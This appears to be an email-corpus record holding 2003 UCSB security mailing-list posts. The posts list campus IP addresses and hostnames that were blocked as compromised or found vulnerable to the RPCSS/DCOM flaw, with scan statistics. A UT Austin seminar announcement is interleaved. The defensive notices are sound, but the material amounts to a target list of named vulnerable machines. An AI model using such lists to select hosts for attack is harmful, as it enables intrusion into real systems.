KB824146 Vulnerable] 128.111.39.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.44.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.53.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.53.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.37 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.95 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.185 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.44 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.59 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.58.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.58.8 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.60.112 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.184 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.219 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.163 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.164 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.174 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.176 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.177 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.44 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.125 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.155 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.245 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.253 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.73.38 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.168 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.234 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.75.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.76.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.77.76 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.113 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.123 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.124 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.59 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.78.60 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.11 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.79.20 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.80.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.81.30 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.81.35 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.82.140 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.146 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.196 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.205 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.82.63 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.135 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.83.40 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.9.221 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.9.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.9.225 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.92.198 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.92.200 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.96.214 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.96.82 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.97.171 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] *** Statistics *** Filtered Hosts ............................... 78 RPCSS Vulnerable ............................. 340 RPCSS Vulnerable and Infected ................ 0 DCOM Disabled ................................ 87 Not Vulnerable ............................... 2229 Errors ....................................... 10 TCP Port 135 Closed or Host Timeout .......... 62870 TOTAL HOSTS SCANNED .......................... 65536 -- Todd Atkins Network Security Coordinator UCSB/Office of Information Technology Voice: (805) 893-5077 Fax: (805) 893-5051 http://www.oit.ucsb.edu/security _______________________________________________ CSF mailing list - CSF@ucsb.edu http://ucsb.edu/mailman/listinfo/csf",0,1 skeckler@cs.utexas.edu,cs352h@lists.cc.utexas.edu,"Tue, 16 Sep 2003 18:44:22 -0500","[srs@cs.utexas.edu: UTCS Computer Architecture Announcement, Monday, September 22, 2003]"," CS352h-ers, Here is the announcement regarding the architecture seminar next week. If you want to be added to the mailing list, go to the web page listed below. Cheers, Steve Keckler Computer Architecture and Technology Lab Assistant Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-1188 http://www.cs.utexas.edu/users/skeckler ------------------------------------------------------------------------ Event: Computer Architecture Seminar Series http://www.cs.utexas.edu/users/cart/arch Speaker: Krisztian Flautner ARM Ltd. Title: ""Intelligent Energy Management for Systems-on-chip"" Date: Monday, September 22, 2003 Time: 3:30 pm Place: ACES 2.402 Coffee: 3:00 pm Host: Doug Burger ABSTRACT: A critical concern for mobile handheld devices is the need to deliver high levels of performance given ever-diminishing power budgets. The need for low power is evident in mobile phones, where battery life per gram of battery has improved by a factor of 50 to 100 over the past seven years. These devices are increasingly running sophisticated workloads with widely varying resource requirements, which puts pressure on designers to optimize for an increasing number of use-cases. One of the most effective ways of bridging the gap between the different operating requirements is the use of dynamic voltage scaling (DVS). This talk will cover ARM's Intelligent Energy Management (IEM) technology, which is a set of software and hardware components that enable the use of DVS and include predictive algorithms for determining the minimum required performance level of the processor. Deploying DVS is a particular challenge on system-on-chip designs and requires support from EDA tools. Our ongoing research addresses the need for self-characterizing systems that simplify validation, and open the door to power optimizations based on die-specific and ambient conditions. Razor is a prototype microarchitecture under development with the University of Michigan, which supports failure recovery to push the operating parameters of a system to its physical limits and beyond instead of always relying on parameters that satisfy worst-case conditions and always-correct operation. Bio: Krisztian Flautner is a Principal Researcher at ARM Limited. He holds Ph.D., M.S.E., and B.S.E. degrees in Computer Science and Engineering from the University of Michigan. His thesis explored the relevance of multithreading for interactive desktop workloads and described the implementation of an automatic power-management algorithm for processors supporting dynamic voltage scaling. Dr. Flautner's research interests are focused on simple ideas that enable high-performance low-power processing platforms to support advanced software environments. In the research group at ARM Limited, he is currently working on next generation ARM architectures. The Computer Architecture Seminar Series is sponsored jointly by the Departments of Computer Science and Electrical & Computer Engineering and is supported by a grant from AMD. - ---------------------------------------------------------------------------- - - Scalable Yahoo Map of 24th & Speedway: http://maps.yahoo.com/py/maps.py?Pyt=Tmap&addr=2400+Speedway&csz=Austin%2C+T X&Get+Map=Get+Map Parking for off-campus visitors: We suggest that you park in parking garage 1 (PG1) at 24th & San Jacinto. Parking validation will be available. Please contact the host for this seminar or stop by the refreshment cart to have you parking validated. Submap including Parking Garage #1 (PG1): http://www.utexas.edu/maps/main/areas/law.html Submap including ACES: http://www.utexas.edu/maps/main/areas/eastmall.html Please contact Gem Naivar at gem@cs.utexas.edu if you need any further information to attend the seminar. ------- End of forwarded message ------- ",0,1 ,,,,"(8.9.1/8.9.1) with ESMTP id JAA17106 for ; Wed, 17 Sep 2003 09:02:21 -0700 (PDT) Received: from ucsb.edu (ucsb.edu [128.111.24.40]) by charm.physics.ucsb.edu (8.9.3/8.9.3) with ESMTP id JAA07842 for ; Wed, 17 Sep 2003 09:02:21 -0700 Received: from localhost ([127.0.0.1] helo=hub.ucsb.edu) by ucsb.edu with esmtp id 19zel3-0003Fz-AN; Wed, 17 Sep 2003 09:02:21 -0700 Received: from hub.ucsb.edu ([128.111.24.40] helo=smtp.ucsb.edu) by ucsb.edu with esmtp TLSv1:AES256-SHA:256 id 19zel0-0003FX-Ta; Wed, 17 Sep 2003 09:02:18 -0700 Received: from security3.oit.ucsb.edu ([128.111.12.28]) by smtp.ucsb.edu with asmtp TLSv1:DES-CBC3-SHA:168 id 19zel0-0003FT-Nz; Wed, 17 Sep 2003 09:02:18 -0700 Date: Wed, 17 Sep 2003 09:02:18 -0700 From: E. Todd Atkins To: security-microsoft@ucsb.edu, csf@ucsb.edu Message-ID: <26380000.1063814538@abc.oit.ucsb.edu> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; FORMAT=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: [CSF] Blocked and RPCSS Vulnerable Hosts X-BeenThere: csf@ucsb.edu X-Mailman-Version: 2.1.2 Precedence: list Reply-To: UCSB Network Security Coordinator List-Id: Computer Support Forum List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: csf-bounces@ucsb.edu Errors-To: csf-bounces@ucsb.edu X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19zel3-0003Fz-AN*d3.WBENZ0FM* Hello, Due to the large number of hosts that are either compromised or infected with one of the Microsoft Windows based worms, I will periodically send this announcement about hosts whose traffic is being blocked in order to suppress our involvement in the spreading of these worms as well as any other potentially malicious activity. As an added ""bonus,"" I am now including a list hosts that are vulnerable from a daily scan which I am conducting. There is also a summary so that we can all track the progress of reducing UCSB's exposure to this vulnerability. Here is what you need to do if your host is in the list: 1. Make sure that the host has been completely cleaned up. Unless the host is completely rebuilt, please make sure that the host is not running any rogue IRC bots, FTP servers, VNC, etc. Tools like ""tcpview"" and ""procexp"" from www.sysinternals.com should help to locate any such services. 2. Send an email message to security@ucsb.edu to inform us that the host is now safe to be connected with the internet. When referring to multiple IP addresses, please list the IP addresses on separate lines. 3. If you find any rogue services running, please include the type of service and the port that it was using. Now, here are the lists: *** Filtered Hosts *** 128.111.103.21 otter.opl.ucsb.edu 128.111.104.155 euphrates.geog.ucsb.edu 128.111.106.101 olympia.geog.ucsb.edu 128.111.106.121 slave.geog.ucsb.edu 128.111.106.15 zulu2.geog.ucsb.edu 128.111.106.163 alexlaptop.geog.ucsb.edu 128.111.108.108 host108-108.lsdepts.ucsb.edu 128.111.108.128 host108-128.lsdepts.ucsb.edu 128.111.108.158 host108-158.lsdepts.ucsb.edu 128.111.108.193 host108-193.lsdepts.ucsb.edu 128.111.108.219 host108-219.lsdepts.ucsb.edu 128.111.108.54 host108-54.lsdepts.ucsb.edu 128.111.120.25 ip25.lmri.ucsb.edu 128.111.126.68 128.111.126.69 128.111.138.160 128.111.138.171 128.111.138.174 128.111.164.189 cyclura.mee.ucsb.edu 128.111.164.209 turtle.mee.ucsb.edu 128.111.165.27 host165-27.lsdepts.ucsb.edu 128.111.166.152 dhcp152.authnet.ucsb.edu 128.111.185.27 adriatic.ece.ucsb.edu 128.111.221.19 odissi.mat.ucsb.edu 128.111.221.26 igertpc.mat.ucsb.edu 128.111.229.251 128.111.229.252 128.111.247.62 128.111.247.63 128.111.29.20 meppc1.engr.ucsb.edu 128.111.34.65 pfrws-1.engr.ucsb.edu 128.111.35.220 ecipc045.engr.ucsb.edu 128.111.70.109 memslab4.mee.ucsb.edu 128.111.74.158 nakamuralab8.materials.ucsb.edu 128.111.74.249 128.111.77.36 luna.crss.ucsb.edu 128.111.77.77 genetest.crss.ucsb.edu 128.111.77.82 theomac.crss.ucsb.edu 128.111.78.195 host78-195.lsdepts.ucsb.edu 128.111.79.35 sediment.mee.ucsb.edu 128.111.82.129 calimero.chemengr.ucsb.edu 128.111.82.13 joshtest.chemengr.ucsb.edu 128.111.82.132 seppia.chemengr.ucsb.edu 128.111.82.133 codavinci.chemengr.ucsb.edu 128.111.82.14 connerjs.chemengr.ucsb.edu 128.111.83.134 cobra.chemengr.ucsb.edu 128.111.83.137 krait.chemengr.ucsb.edu 128.111.83.242 marina.chemengr.ucsb.edu 128.111.83.43 dh83043.chemengr.ucsb.edu 128.111.9.125 orb125.itp.ucsb.edu 128.111.9.126 orb126.itp.ucsb.edu 128.111.9.210 128.111.9.211 dhcp211.itp.ucsb.edu 128.111.9.220 dhcp220.itp.ucsb.edu 128.111.9.230 dhcp230.itp.ucsb.edu 128.111.9.241 dhcp241.itp.ucsb.edu 128.111.94.30 host94-30.lsdepts.ucsb.edu 128.111.97.19 pubfloor4-002.library.ucsb.edu *** Unpatched hosts *** 128.111.102.10 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.102.12 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.102.4 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.33 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.103.47 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.156 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.41 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.77 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.104.83 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.107.120 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.107.2 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.108.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.109.65 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.132.97 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.161.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.161.3 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.202 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.164.79 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.81 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.82 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.83 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.84 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.85 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.86 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.87 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.91 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.168.92 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.168.93 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.185 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.187 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.188 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.222 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.180.241 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.181.196 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.212 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.232 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.181.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.183.227 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.102 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.185.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.192 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.21 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.222 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.185.75 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.78 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.185.91 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.120 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.19 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.29 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.192.36 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.192.37 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.193.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.159 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.197.224 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.202.237 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.219.129 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.17 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.241 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.220.72 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.225.51 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.234.160 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.234.23 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.249.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.230 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.249.243 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.121 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.29.211 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.111 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.148 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.149 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.150 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.152 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.153 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.170 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.249 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.30.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.33.250 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.120 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.34.127 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.34.81 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.36.247 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.180 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.181 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.190 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.197 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.228 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.37.233 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.37.66 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.213 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.215 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.225 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.38.242 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.151 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.159 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.199 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.209 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.210 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.220 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.233 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.39.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.44.26 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.50.92 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.53.100 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.53.114 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.158 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.194 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.218 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.37 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.56.95 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.185 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.57.22 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.44 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.59 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.57.80 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.58.121 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.58.204 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.58.8 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.68.236 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.224 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.235 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.239 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.240 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.71.252 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.143 RPCSS Vulnerable - [KB823980 Vulnerable, KB824146 Vulnerable] 128.111.72.162 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.163 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.164 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.165 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.166 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.167 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.169 RPCSS Vulnerable - [KB823980 Patched, KB824146 Vulnerable] 128.111.72.171 RPCSS Vulnerable - 